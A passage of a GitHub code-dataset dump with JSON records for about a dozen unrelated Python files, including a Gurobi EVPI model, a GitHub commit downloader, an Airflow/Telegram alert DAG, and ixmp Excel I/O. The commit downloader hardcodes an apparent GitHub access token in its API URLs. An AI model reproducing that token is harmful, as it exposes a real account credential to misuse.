list\"\"\"\n resources = []\n for row in self.data:\n if( self._get_row_type(row) == self.TYPE_STRING and self._has_valid_key(row) ):\n resource = self.__get_string(row)\n resources.append(resource)\n return resources\n \n def get_string_arrays(self):\n \"\"\"Collect all StringArray resources and return a list\"\"\"\n resources = {}\n for row in self.data:\n if( self._get_row_type(row) == self.TYPE_STRING_ARRAY and self._has_valid_key(row) ):\n key_with_index = row[ self.id_column ]\n key, index = key_with_index.split(':')\n if (key in resources) == False:\n resources[key] = StringArray(key, self.languages);\n sa = resources[key]\n for lang in self.languages:\n col = self.language_column( lang )\n text = row[ col ]\n options = self._get_row_options(row)\n sa.add(lang, int(index), ResourceText(text, options) ) #fixme: conversion not necessary\n return list( resources.values() )\n \n\n def get_quantity_strings(self):\n \"\"\"Collect all QuantityStrings resources and return a list\"\"\"\n resources = {}\n for row in self.data:\n if( self._get_row_type(row) == self.TYPE_QUANTITY_STRING and self._has_valid_key(row) ):\n key_with_quantity = row[ self.id_column ]\n key, quantity = key_with_quantity.split(':')\n if (key in resources) == False:\n resources[key] = QuantityStrings(key, self.languages);\n qs = resources[key]\n for lang in self.languages:\n col = self.language_column( lang )\n text = row[ col ]\n options = self._get_row_options(row)\n qs.add_quantity_string(lang, quantity, ResourceText(text, options) )\n return sorted( resources.values() )\n \n def get_all_resources(self):\n resources = []\n resources.extend( self.get_strings() )\n resources.extend( self.get_string_arrays() )\n resources.extend( self.get_quantity_strings() )\n return resources\n\n ","repo_name":"ezaquarii/MobileStringsToolkit","sub_path":"mst/spreadsheet.py","file_name":"spreadsheet.py","file_ext":"py","file_size_in_byte":8625,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"32"} +{"seq_id":"1297182","text":"# class functions are used to give extra information or modify the strucures of the class object\n# class functions are accessed by the objects of the class\n\nclass Student:\n\n def __init__(self, name, major, gpa):\n self.name = name\n self.major = major\n self.gpa = gpa\n\n def on_honor_roll(self):\n if self.gpa >= 9.5:\n return True\n else:\n return False\n\n\nstudent1 = Student(\"Yadhu\", \"Civil\", 8.9)\nstudent2 = Student(\"Kalyani\", \"MSC\", 9.5)\nprint(student1.on_honor_roll())\nprint(student2.on_honor_roll())\n","repo_name":"yadhukrishna99/python","sub_path":"class_functions.py","file_name":"class_functions.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26101428370","text":"'''\nCreated on Jun 20, 2014\n\n@author: Jeremy May\n'''\n\nimport time\n\nfrom PyQt4 import QtGui\nfrom PyQt4 import Qt\n\nclass ProgressLoader(QtGui.QDialog):\n \n def __init__(self, parent=None):\n super(ProgressLoader, self).__init__(parent)\n \n self.initUi()\n self.setAttribute(Qt.Qt.WA_DeleteOnClose)\n \n def initUi(self):\n layout = QtGui.QVBoxLayout()\n \n self.msg = QtGui.QLabel(\"Starting server...\")\n layout.addWidget(self.msg)\n \n self.progressBar = QtGui.QProgressBar()\n self.progressBar.setMinimum(0)\n self.progressBar.setMaximum(0)\n self.progressBar.setFormat(\"\")\n layout.addWidget(self.progressBar)\n \n self.setLayout(layout)\n self.setModal(False)\n \n def error(self):\n self.progressBar.setMinimum(0)\n self.progressBar.setMaximum(100)\n self.progressBar.setValue(0)\n self.msg.setText(\"Failed to start server.\")\n time.sleep(3)\n self.finish()\n \n def finish(self):\n self.deleteLater()\n self.close()","repo_name":"Kenishi/DroidNavi","sub_path":"pyqt-ui/src/pytelelog_pyqt/components/ProgressLoader.py","file_name":"ProgressLoader.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"16725863768","text":"from gurobipy import *\nimport numpy as np\n\n'''\nPerfect information\n'''\n\n#model parameters\n\nspace = [0.5, 1, 2]\nprofit = [0.5, 1, 3]\ncapacity = 50\n\nprob = [0.3, 0.3, 0.2, 0.1, 0.1]\n\ndemand = [[25, 30, 10],\n [26, 26, 12],\n [18, 35, 18],\n [24, 32, 12],\n [15, 15, 15]]\n\n#y_obj = [[i*j for j in profit] for i in prob]\n\ndemand_pi = [0, 0, 0]\n\n#range object for the three types of planes\nplanes = range(len(space))\n\n#range object for scenarios\nscenario = range(len(prob))\n\n#build model to solve for x_mv\nm = Model('Partitioning Problem_pi')\n\nx = m.addVars(planes, vtype=GRB.INTEGER, name='x')\ny = m.addVars(planes, vtype=GRB.INTEGER, obj=profit, name='y')\n\nm.modelSense = GRB.MAXIMIZE\n\n#constraints\n\n#capacity constraint\nm.addConstr(sum(x[i]*space[i] for i in planes) <= capacity)\n\n#prohibit oversale\nm.addConstrs(y[i]-x[i] <= 0 for i in planes)\n\n#demand constraint\nconstr_demand = m.addConstrs(y[i]<=demand_pi[i] for i in planes)\n\nobj_vals = []\n\n#solve |K| many optimization problems and collect their optimal objective values\nfor k in scenario:\n m.remove(constr_demand)\n demand_pi = demand[k]\n constr_demand = m.addConstrs(y[i]<=demand_pi[i] for i in planes)\n m.update()\n m.optimize()\n obj_vals.append(m.ObjVal)\n\nprint(obj_vals)\nobj_pi = sum(obj_vals[k]*prob[k] for k in scenario)\n\nfrom HW2_Q3 import obj_sp\nevpi = obj_pi - obj_sp\n\nprint('The EVPI is {:.2f} units of profit from medium-sized planes'.format(evpi))","repo_name":"jilin-song/github-upload","sub_path":"HW2_Q3_pi.py","file_name":"HW2_Q3_pi.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4734548729","text":"# 抓取一个repo下的所有commits\nfrom urllib import request\nimport json\nimport re\nimport time\nimport os\nimport getURL\n\ndef getCommitData(src):\n dst = {}\n f = src['commit']\n dst['author'] = f['author']\n dst['committer'] = f['committer']\n dst['message'] = f['message']\n dst['comments_url'] = src['comments_url']\n dst['url'] = src['url']\n return dst\n\ndef fetchCommit(year,month,data,prefix):\n allUsers = {}\n if(os.path.exists(prefix+'allUsers.json')):\n with open(prefix + 'allUsers.json','r') as f:\n allUsers = json.loads(f.read())\n\n thisMonth = str(year) + \"-\" + \"%02d\" % month\n start = thisMonth + '-01T00:00:00Z'\n if(month == 12):\n end = thisMonth + \"-31T23:59:59Z\"\n else:\n end = str(year) + \"-\" +\"%02d\" % (month+1) + '-01T00:00:00Z'\n\n commitsUrl = data[\"commits_url\"][0:-6] + \"?since=\"+start+\"&until=\"+end +\"&access_token=8f6085fc4cf4b501a7ccad1a3aadc3f98f51384a\"\n\n thisMonthUser = {}\n #time.sleep(3)\n commitsResponse =getURL.getURL(commitsUrl)\n #commitsData = commitsResponse.read().decode('utf-8')\n commitsData = json.loads(commitsResponse.data)\n # commitsData = getURL.getURL(commitsUrl)\n countCommits = 0\n dealdData = []\n\n headData = str(commitsResponse.headers)\n\n originalCommits = commitsData\n\n for item in commitsData:\n tmpData = getCommitData(item)\n dealdData.append(tmpData)\n\n while True:\n listLink = re.findall(r'(?<=<).[^<]*(?=>; rel=\\\"next)',headData)\n print(\"listLink: \" , listLink)\n if(listLink):\n nextLink = listLink[0]\n print(\"nextLink: \" , nextLink)\n #time.sleep(3)\n commitsResponse = getURL.getURL(nextLink)#request.urlopen(nextLink)\n commitsData = commitsResponse.data\n commitsData = json.loads(commitsData)\n\n originalCommits = originalCommits + commitsData\n\n headData = str(commitsResponse.headers)\n\n for item in commitsData:\n tmpData = getCommitData(item)\n dealdData.append(tmpData)\n\n else:\n break\n\n for item in dealdData:\n user = str(item['author']['email'])\n commitInfo = {}\n commitInfo['date'] = item['author']['date']\n commitInfo['message'] = item['message']\n commitInfo['url'] = item[\"url\"]\n\n if( user not in thisMonthUser ):\n thisMonthUser[user] = []\n if( user not in allUsers):\n allUsers[user] = []\n thisMonthUser[user].append(commitInfo)\n allUsers[user].append(commitInfo)\n\n with open(prefix + thisMonth + \"-commitsUser.json\",'w') as f:\n json.dump(thisMonthUser,f)\n\n with open(prefix + thisMonth + \"-commitsInfo.json\",'w') as f:\n json.dump(dealdData,f)\n\n with open(prefix + thisMonth + \"-originalCommits.json\",'w') as f:\n json.dump(originalCommits,f)\n\n with open(prefix + 'allUsers.json','w') as f:\n json.dump(allUsers,f)\n\ndef paddingCommit(year,month,data,prefix):\n thisMonth = str(year) + \"-\" + \"%02d\" % month\n\n with open(prefix + thisMonth + \"-commitsUser.json\",'w') as f:\n json.dump({},f)\n\n with open(prefix + thisMonth + \"-commitsInfo.json\",'w') as f:\n json.dump({},f)\n\n with open(prefix + thisMonth + \"-originalCommits.json\",'w') as f:\n json.dump({},f)\n\ndef getCommit(repo,startDate,endDate):\n prefix = 'public/data/' + repo + '/'\n print(\"I am downloadCommits.py.\")\n print(prefix)\n\n url = 'https://api.github.com/repos/'+repo+\"?access_token=8f6085fc4cf4b501a7ccad1a3aadc3f98f51384a\"\n\n '''\n urlRequest = request.Request(url)\n urlResponse = request.urlopen(urlRequest)\n\n data = urlResponse.read().decode('utf-8')\n data = json.loads(data)\n '''\n data = json.loads(getURL.getURL(url).data)\n\n startDate = time.strptime(startDate[0:10],\"%Y-%m-%d\")\n endDate = time.strptime(endDate[0:10],\"%Y-%m-%d\")\n\n startYear = startDate.tm_year\n endYear = endDate.tm_year\n startMonth = startDate.tm_mon\n endMonth = endDate.tm_mon\n\n if(startYear == endYear):\n for month in range(startMonth,endMonth):\n fetchCommit(startYear,month,data,prefix)\n return\n\n for month in range(startMonth,13):\n fetchCommit(startYear,month,data,prefix)\n\n for year in range(startYear+1,endYear):\n for month in range(1,13):\n fetchCommit(year,month,data,prefix)\n\n for month in range(1,endMonth):\n fetchCommit(endYear,month,data,prefix)\n for month in range(endMonth,13):\n paddingCommit(endYear,month,data,prefix)\n","repo_name":"AlienYvonne/githubAnalysis","sub_path":"public/py/downloadCommits.py","file_name":"downloadCommits.py","file_ext":"py","file_size_in_byte":4591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8095101163","text":"from featuretools.core.base import FTBase\n\n\nclass Relationship(FTBase):\n \"\"\"Class to represent an relationship between entities\n\n See Also:\n :class:`.EntitySet`, :class:`.Entity`, :class:`.Variable`\n \"\"\"\n\n def __init__(self, parent_variable, child_variable):\n \"\"\" Create a relationship\n\n Args:\n parent_variable (:class:`.Discrete`): Instance of variable\n in parent entity. Must be a Discrete Variable\n child_variable (:class:`.Discrete`): Instance of variable in\n child entity. Must be a Discrete Variable\n\n \"\"\"\n self.entityset = child_variable.entityset\n self._parent_entity_id = parent_variable.entity.id\n self._child_entity_id = child_variable.entity.id\n self._parent_variable_id = parent_variable.id\n self._child_variable_id = child_variable.id\n\n if (parent_variable.entity.index is not None and\n parent_variable.id != parent_variable.entity.index):\n raise AttributeError(\"Parent variable '%s' is not the index of entity %s\" % (parent_variable, parent_variable.entity))\n\n def __repr__(self):\n return \" %s.%s>\" % \\\n (self._child_entity_id, self._child_variable_id,\n self._parent_entity_id, self._parent_variable_id)\n\n def __eq__(self, other):\n if not isinstance(other, self.__class__):\n return False\n\n return self._parent_entity_id == other._parent_entity_id and \\\n self._child_entity_id == other._child_entity_id and \\\n self._parent_variable_id == other._parent_variable_id and \\\n self._child_variable_id == other._child_variable_id\n\n @property\n def parent_entity(self):\n \"\"\"Parent entity object\"\"\"\n return self.entityset[self._parent_entity_id]\n\n @property\n def child_entity(self):\n \"\"\"Child entity object\"\"\"\n return self.entityset[self._child_entity_id]\n\n @property\n def parent_variable(self):\n \"\"\"Instance of variable in parent entity\"\"\"\n return self.parent_entity[self._parent_variable_id]\n\n @property\n def child_variable(self):\n \"\"\"Instance of variable in child entity\"\"\"\n return self.child_entity[self._child_variable_id]\n\n def get_entity_variable(self, entity_id):\n if self._child_entity_id == entity_id:\n return self._child_variable_id\n if self._parent_entity_id == entity_id:\n return self._parent_variable_id\n raise AttributeError(\"Entity '%s' is not part of relationship\" %\n entity_id)\n\n def get_other_entity(self, entity_id):\n if self._child_entity_id == entity_id:\n return self._parent_entity_id\n if self._parent_entity_id == entity_id:\n return self._child_entity_id\n raise AttributeError(\"Entity '%s' is not part of relationship\" %\n entity_id)\n\n def get_other_variable(self, variable_id):\n if self._child_variable_id == variable_id:\n return self._parent_variable_id\n if self._parent_variable_id == variable_id:\n return self._child_variable_id\n raise AttributeError(\"Variable '%s' is not part of relationship\" %\n variable_id)\n\n @classmethod\n def _get_link_variable_name(cls, path):\n r = path[0]\n child_link_name = r.child_variable.id\n for r in path[1:]:\n parent_link_name = child_link_name\n child_link_name = '%s.%s' % (r.parent_variable.entity.id,\n parent_link_name)\n return child_link_name\n","repo_name":"45tooclose/python-new","sub_path":"venv/Lib/site-packages/featuretools/entityset/relationship.py","file_name":"relationship.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"39524369835","text":"import sys\nfrom datetime import datetime\n\n\n#Takes two times, of format HH:MM:SS and finds the difference\ndef calculateTimeDiff(timeOne, timeTwo):\n postStripOne = datetime.strptime(timeOne, \"%H:%M:%S\")\n postStripTwo = datetime.strptime(timeTwo, \"%H:%M:%S\")\n if postStripOne.hour == 23 and postStripTwo.hour > 23:\n correctionPartOne = datetime(2021, 11, 25, 1)\n correctionPartTwo = datetime(2021, 11, 25, 13)\n correct = correctionPartOne - correctionPartTwo\n postStripOne.__add__(correct)\n postStripTwo.__add__(correct)\n timeDifference = postStripTwo - postStripOne\n return int(timeDifference.total_seconds())\n\n\n#Used in finding timing diagrams\nif __name__ == '__main__':\n resultsSet = {}\n resultsLink = []\n for i in range(1, len(sys.argv), 1):\n linkLines = []\n totalTx = 0\n confirmedTx = 0\n prev = None\n with open(sys.argv[i], \"r\") as f:\n fileList = list(f)\n for line in fileList:\n # If tx is submitted in the line\n if line.find(\"intkey set\") != -1:\n totalTx += 1\n if prev is not None:\n if prev.find(\"show\") != -1 and line.find(\"999\") != -1:\n confirmedTx += 1\n prev = line\n resultsLink.append((confirmedTx, totalTx))\n results = []\n totalTotalTx = 0\n totalConfirmedTx = 0\n #For each in resultsLink go through link lines with correct time\n #For each log file\n resultsDict = {}\n for e in resultsLink:\n totalConfirmedTx += e[0]\n totalTotalTx += e[1]\n element = 0\n with open(\"throughputLogOutput.csv\", \"w\") as l:\n for tupe in resultsLink:\n l.write(\"Experiment #: \" + str(element) + \"\\n\")\n l.write(str(tupe[0])+\", \"+str(tupe[1])+\"\\n\")\n l.write(\"Total Confirmed: \" + str(totalConfirmedTx) + \"\\n\")\n l.write(\"Total Submitted: \" + str(totalTotalTx) + \"\\n\")\n element += 1\n","repo_name":"khood5/smartShards","sub_path":"evaluation/throughputLogs.py","file_name":"throughputLogs.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"5486635066","text":"from json import loads\n\nfrom scipy.stats import rankdata\n\nimport numpy as np\n\n\n__author__ = 'doxer'\n\n\ndef rescale(a):\n return (a - a.min()) / (a.max() - a.min())\n\n\ndef json_to_data_format(d):\n x, y, t = np.array(d[\"x\"], dtype=np.float), np.array(d[\"y\"], dtype=np.float), np.array(d[\"t\"], dtype=np.float)\n x = rescale(x)\n y = rescale(-y)\n t = rescale(rankdata(t, method='min'))\n w = np.repeat(1.0 / len(x), len(x))\n return d[\"tag\"], np.vstack((w, x, y, t)).T\n\n\ndef get_data_from_json(file_name):\n with open(file_name) as jsonFile:\n json_data = loads(jsonFile.read())\n\n return map(json_to_data_format, json_data)","repo_name":"Doxxer/EMDPython","sub_path":"dataFromJSON.py","file_name":"dataFromJSON.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"32805406195","text":"from collections import namedtuple\nimport numpy as np\nimport pdb\n\n'''\nGenotype saves the searched normal cell and reduction cell.\n'''\nGenotype = namedtuple('Genotype', ['normal','reduce'])\n\n# This is a subset of darts_xx.ops.OPS\nPRIMITIVES = ['max_pool_3x3',\n 'avg_pool_3x3',\n 'skip_connect',\n 'sep_conv_3x3',\n 'sep_conv_5x5',\n 'dil_conv_3x3',\n 'dil_conv_5x5']\n\nclass GenoParser:\n '''\n This is the class for genotype operations.\n n_nodes: How many nodes in a cell.\n '''\n def __init__(self, n_nodes):\n self.n_nodes = n_nodes\n \n def parse(self, softmax_alphas):\n '''\n Each MixedOp would keep the Op with the highest alpha value.\n For each node, two edges with the highest alpha values are kept as the inputs.\n softmax_alphas: output from F.softmax(alphas, dim=-1)\n '''\n i = 0\n res = []\n for n_edges in range(2, 2 + self.n_nodes):\n gene = []\n for edge in range(n_edges):\n argmax = np.argmax(softmax_alphas[i])\n gene.append((softmax_alphas[i][argmax], PRIMITIVES[argmax], edge))\n i += 1\n gene.sort()\n res += [(op[1], op[2]) for op in gene[-2:]]\n return res","repo_name":"woodywff/darts_pt_pp_tf","sub_path":"genotype.py","file_name":"genotype.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"30169303037","text":"#подключаемся к библиотекам\nimport pandas as pd\nimport pandahouse as ph\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nfrom datetime import datetime, timedelta\nfrom io import StringIO\nimport requests\nfrom airflow.decorators import dag, task\nfrom airflow.operators.python import get_current_context\nimport numpy as np\n\nimport telegram\nimport io\n\n# функция для извлечения данных\ndef ch_get_df(query='Select 1', host='', db = '', user='', password=''):\n \n connection = {'host': host,\n 'database': db,\n 'user': user, \n 'password': password\n }\n\n df = ph.read_clickhouse(query, connection=connection)\n return df\n\n# Дефолтные параметры, которые прокидываются в таски\ndefault_args = {\n 'owner': 'n.safronova',\n 'depends_on_past': False,\n 'retries': 2,\n 'retry_delay': timedelta(minutes=2),\n 'start_date': datetime(2022, 9, 11, 0, 0, 0) #,\n}\n\n# Интервал запуска DAG\nschedule_interval = '*/15 * * * *'\n\n\n@dag(default_args=default_args, schedule_interval=schedule_interval, catchup=False)\ndef dag_catch_your_alerts():\n\n \n @task()\n def extract():\n # Забираем данные\n query = '''\n select \n feed.time as time,\n time_event,\n dau_feed,\n likes,\n views,\n ctr,\n dau_messenger,\n messeges\n from (\n select\n toStartOfFifteenMinutes(time) as time,\n formatDateTime(time, '%m/%d %R') as time_event, \n uniqExact(user_id) as dau_feed,\n countIf(action, action = 'like') as likes,\n countIf(action, action = 'view') as views,\n round(likes/views * 100 , 2) as ctr\n from\n db.feed_actions \n WHERE \n time >= today() - 1 \n and time < toStartOfFifteenMinutes(now())\n group by \n toStartOfFifteenMinutes(time) as time\n ) feed\n \n join (\n select\n toStartOfFifteenMinutes(time) as time, \n uniqExact(user_id) as dau_messenger,\n count() as messeges\n from\n db.message_actions \n WHERE \n time >= today() - 1 \n and time < toStartOfFifteenMinutes(now())\n group by \n toStartOfFifteenMinutes(time) as time\n ) msg\n using time\n order by time\n '''\n\n df = ch_get_df(query)\n return df\n \n my_token = os.environ.get(\"REPORT_BOT_TOKEN\")\n bot = telegram.Bot(token=my_token)\n \n # функция проверки метрики на алерт\n def check_metric(df, metric, n = 5, a = 3):\n \n # Расчёт квантилей в скользящем окне\n df['q75'] = df[metric].shift(1).rolling(n, min_periods=1).quantile(0.75)\n df['q25'] = df[metric].shift(1).rolling(n, min_periods=1).quantile(0.25)\n \n # Расчёт МКР и границ метрики\n df['iqr'] = df['q75'] - df['q25']\n df['up'] = df['q75'] + a * df['iqr']\n df['low'] = df['q25'] - a * df['iqr']\n \n # Смягченеие границ метрики\n df['up'] = df.up.rolling(3, min_periods = 1).mean()\n df['low'] = df.low.rolling(3, min_periods = 1).mean()\n \n # Проверка выхода значения за границы\n if df[metric].iloc[-1] < df['low'].iloc[-1] or df[metric].iloc[-1] > df['up'].iloc[-1]:\n return df, 1\n return df, 0\n \n # Функция отправки алертов\n @task\n def send_alert(df, chat_id = 770699869):\n\n metrics = ['dau_feed', 'likes', 'views', 'ctr','dau_messenger', 'messeges']\n \n # Проверяем в цикле нормальность метрик\n for metric in metrics:\n df, flag_alert = check_metric(df, metric)\n \n # Если метрика дала алерт, формируем и отправляем сообщение\n if flag_alert == 1:\n \n messege = f\"Коллега, алёрт по метрике {metric}\\n\" + \\\n f\"Текущее значение: {df[metric].iloc[-1]}. Отклонение от предыдущего: {(int(df[metric].iloc[-1]) - int(df[metric].iloc[-2]))/df[metric].iloc[-2]*100:.2f}%\\n\" + \\\n f\"Расчёт ведётся с окном в 15 минут.\\n\" + \\\n f\"Ссылка на дашборд: https://superset.lab.karpov.courses/superset/dashboard/1784/\"\n bot.sendMessage(chat_id=chat_id, text=messege)\n print(messege)\n \n sns.set(rc={'figure.figsize':(16, 8)})\n \n ax = sns.lineplot(data = df, x = 'time_event', y = 'up', color = '#228b22')\n ax = sns.lineplot(data = df, x = 'time_event', y = 'low', color = '#228b22')\n ax = sns.lineplot(data = df, x = 'time_event', y = metric, color = '#1c1c1c', label = metric.upper())\n \n ax.fill_between(x = df.time_event, y1 = df.low, y2 = df.up, color = '#228b22', alpha = 0.2, label = 'Зона нормальности')\n\n # Оставляем метки на оси абсцис и сетку только для каждого 12 значения\n sticks_x = []\n for ind, item in enumerate(df.time_event.unique()):\n if ind % 12 == 0:\n sticks_x.append(item) \n ax.set_xticks(sticks_x)\n \n plt.title(f'Алёрт по метрике {metric.upper()}', size = 16)\n plt.legend(loc = 'lower right')\n plt.ylabel('')\n plt.xlabel('')\n\n plt.tight_layout() # Уменьшаем рамку\n plot_object = io.BytesIO()\n plt.savefig(plot_object)\n plot_object.seek(0)\n plot_object.name = 'alert.png'\n plt.close()\n\n bot.sendPhoto(chat_id=chat_id, photo=plot_object)\n print(f'ALERT with {metric}! Plots sent successfuly.')\n \n # Запуск таска\n send_alert(extract())\n \n# Объявление дага\ndag_catch_your_alerts = dag_catch_your_alerts()\n","repo_name":"TashaStrogaya/Portfolio","sub_path":"telegram_bot_with_airflow/send_alerts.py","file_name":"send_alerts.py","file_ext":"py","file_size_in_byte":6704,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"4795816169","text":"import logging\nfrom collections import deque\n\nimport pandas as pd\n\nfrom ixmp.utils import as_str_list, maybe_check_out, maybe_commit\n\nfrom . import ItemType\n\nlog = logging.getLogger(__name__)\n\n#: Maximum number of rows supported by the Excel file format. See\n#: :meth:`.to_excel` and :ref:`excel-data-format`.\nEXCEL_MAX_ROWS = 1048576\n\n\ndef ts_read_file(ts, path, firstyear=None, lastyear=None):\n \"\"\"Read data from a CSV or Microsoft Excel file at *path* into *ts*.\n\n See also\n --------\n TimeSeries.add_timeseries\n TimeSeries.read_file\n \"\"\"\n\n if path.suffix == \".csv\":\n df = pd.read_csv(path)\n elif path.suffix == \".xlsx\":\n df = pd.read_excel(path)\n\n ts.check_out(timeseries_only=True)\n ts.add_timeseries(df, year_lim=(firstyear, lastyear))\n\n msg = f\"adding timeseries data from {path}\"\n if firstyear:\n msg += f\" from {firstyear}\"\n if lastyear:\n msg += f\" until {lastyear}\"\n ts.commit(msg)\n\n\ndef s_write_excel(be, s, path, item_type, filters=None, max_row=None):\n \"\"\"Write *s* to a Microsoft Excel file at *path*.\n\n See also\n --------\n Scenario.to_excel\n \"\"\"\n # Default: empty dict\n filters = filters or dict()\n\n # Types of items to write\n ix_types = [\"set\", \"par\"]\n if ItemType.VAR in item_type:\n ix_types.append(\"var\")\n if ItemType.EQU in item_type:\n ix_types.append(\"equ\")\n\n # item name -> ixmp type\n name_type = {}\n for ix_type in ix_types:\n names = sorted(be.list_items(s, ix_type))\n name_type.update({n: ix_type for n in names})\n\n # Open file\n writer = pd.ExcelWriter(path)\n\n omitted = set()\n empty_sets = []\n\n # Don't allow the user to set a value that will truncate data\n max_row = min(int(max_row or EXCEL_MAX_ROWS), EXCEL_MAX_ROWS)\n\n for name, ix_type in name_type.items():\n if ix_type == \"par\":\n # Use only the filters corresponding to dimensions of this item\n item_filters = {\n k: v for k, v in filters.items() if k in be.item_index(s, name, \"names\")\n }\n else:\n item_filters = None\n\n # Extract data: dict, pd.Series, or pd.DataFrame\n data = be.item_get_elements(s, ix_type, name, item_filters)\n\n if isinstance(data, dict):\n # Scalar equ/par/var: series with index like 'value', 'unit'.\n # Convert to DataFrame with 1 row.\n data = pd.Series(data, name=name).to_frame().transpose()\n elif isinstance(data, pd.Series):\n # Index set: use own name as the header\n data.name = name\n\n if data.empty:\n if ix_type != \"set\":\n # Don't write empty equ/par/var\n omitted.add(name)\n else:\n # Write empty sets later\n empty_sets.append((name, data))\n continue\n\n # Write data in multiple sheets\n\n # List of break points, plus the final row\n splits = list(range(0, len(data), max_row)) + [len(data)]\n # Pairs of row numbers, e.g. (0, 100), (100, 200), ...\n first_last = zip(splits, splits[1:])\n\n for sheet_num, (first_row, last_row) in enumerate(first_last, start=1):\n # Format the sheet name, possibly with a suffix\n sheet_name = name + (f\"({sheet_num})\" if sheet_num > 1 else \"\")\n\n # Subset the data (only on rows, if a DataFrame) and write\n data.iloc[first_row:last_row].to_excel(writer, sheet_name, index=False)\n\n # Discard entries that were not written\n for name in omitted:\n name_type.pop(name)\n\n # Write the name -> type map\n pd.Series(name_type, name=\"ix_type\").rename_axis(\n index=\"item\"\n ).reset_index().to_excel(writer, sheet_name=\"ix_type_mapping\", index=False)\n\n # Write empty sets last\n for name, data in empty_sets:\n data.to_excel(writer, sheet_name=name, index=False)\n\n writer.close()\n\n\ndef maybe_init_item(scenario, ix_type, name, new_idx, path):\n \"\"\"Call :meth:`~.init_set`, :meth:`.init_par`, etc. if possible.\n\n Logs an intelligible warning and then raises ValueError in two cases:\n\n - the *new_idx* is ambiguous, e.g. containing index names that cannot be\n used to infer index sets, or\n - an existing item has index names that are different from *new_idx*.\n\n \"\"\"\n try:\n # [] and None are equivalent; convert to be consistent\n existing_names = scenario.idx_names(name) or None\n except KeyError:\n # Item does not exist\n\n # Check for ambiguous index names\n ambiguous_idx = sorted(set(new_idx or []) - set(scenario.set_list()))\n if len(ambiguous_idx):\n log.warning(\n f\"Cannot read {ix_type} {repr(name)}: index set(s) cannot be \"\n f\"inferred for name(s) {ambiguous_idx}\"\n )\n raise ValueError from None\n\n # Initialize\n getattr(scenario, f\"init_{ix_type}\")(name, new_idx)\n else:\n # Item exists; check that is has the same index names\n\n # [] and None are equivalent; convert to be consistent\n if isinstance(new_idx, list) and new_idx == []:\n new_idx = None\n\n if existing_names != new_idx:\n log.warning(\n f\"Existing {ix_type} {repr(name)} has index names(s) \"\n f\" {existing_names} != {new_idx} in {path.name}\"\n )\n raise ValueError from None\n\n\n# FIXME reduce complexity from 26 to <=15\ndef s_read_excel( # noqa: C901\n be, s, path, add_units=False, init_items=False, commit_steps=False\n):\n \"\"\"Read data from a Microsoft Excel file at *path* into *s*.\n\n See also\n --------\n Scenario.read_excel\n \"\"\"\n log.info(f\"Read data from {path}\")\n\n # Get item name -> ixmp type mapping as a pd.Series\n xf = pd.ExcelFile(path, engine=\"openpyxl\")\n name_type = xf.parse(\"ix_type_mapping\", index_col=\"item\")[\"ix_type\"]\n\n # Queue of (set name, data) to add\n sets_to_add = deque((n, None) for n in name_type.index[name_type == \"set\"])\n\n def parse_item_sheets(name):\n \"\"\"Read data for item *name*, possibly across multiple sheets.\"\"\"\n dfs = [xf.parse(name)]\n\n # Collect data from repeated sheets due to max_row limit\n for x in filter(lambda n: n.startswith(name + \"(\"), xf.sheet_names):\n dfs.append(xf.parse(x))\n\n # Concatenate once and return\n return pd.concat(dfs, axis=0)\n\n # Add sets in two passes:\n # 1. Index sets, required to initialize other sets.\n # 2. Sets indexed by others.\n while True:\n try:\n # Get an item from the queue\n name, data = sets_to_add.popleft()\n except IndexError:\n break # Finished\n\n # log.debug(name)\n\n first_pass = data is None\n if first_pass:\n # Read data\n data = parse_item_sheets(name)\n\n # Determine index set(s) for this set\n idx_sets = data.columns.to_list()\n if len(idx_sets) == 1:\n if idx_sets == [0]: # pragma: no cover\n # Old-style export with uninformative '0' as a column header;\n # assume it is an index set\n log.warning(f\"Add {name} with header '0' as index set\")\n idx_sets = None\n elif idx_sets == [name]:\n # Set's own name as column header -> an index set\n idx_sets = None\n else:\n pass # 1-D set indexed by another set\n\n if first_pass and idx_sets is not None:\n # Indexed set; append to the queue to process later\n sets_to_add.append((name, data))\n continue\n\n # At this point: either an index set, or second pass when all index\n # sets have been init'd and populated\n if init_items:\n try:\n maybe_init_item(s, \"set\", name, idx_sets, path)\n except ValueError:\n continue # Ambiguous or conflicting; skip this set\n\n # Convert data as expected by add_set\n if len(data.columns) == 1:\n # Convert data frame into 1-D vector\n data = data.iloc[:, 0].values\n\n if idx_sets is not None:\n # Indexed set must be input as list of list of str\n data = list(map(as_str_list, data))\n\n try:\n s.add_set(name, data)\n except KeyError:\n raise ValueError(f\"no set {repr(name)}; try init_items=True\")\n\n maybe_commit(s, commit_steps, f\"Loaded sets from {path}\")\n\n # List of existing units for reference\n units = set(be.get_units())\n\n # Add equ/par/var data\n for name, ix_type in name_type[name_type != \"set\"].items():\n if ix_type in (\"equ\", \"var\"):\n log.info(f\"Cannot read {ix_type} {repr(name)}\")\n continue\n\n # Only parameters beyond this point\n\n df = parse_item_sheets(name)\n\n maybe_check_out(s)\n\n if add_units:\n # New units appearing in this parameter\n to_add = set(df[\"unit\"].unique()) - units\n\n for unit in to_add:\n log.info(f\"Add missing unit: {unit}\")\n # FIXME cannot use the comment f'Loaded from {path}' here; too\n # long for JDBCBackend\n be.set_unit(unit, \"Loaded from file\")\n\n # Update the reference set to avoid re-adding these units\n units 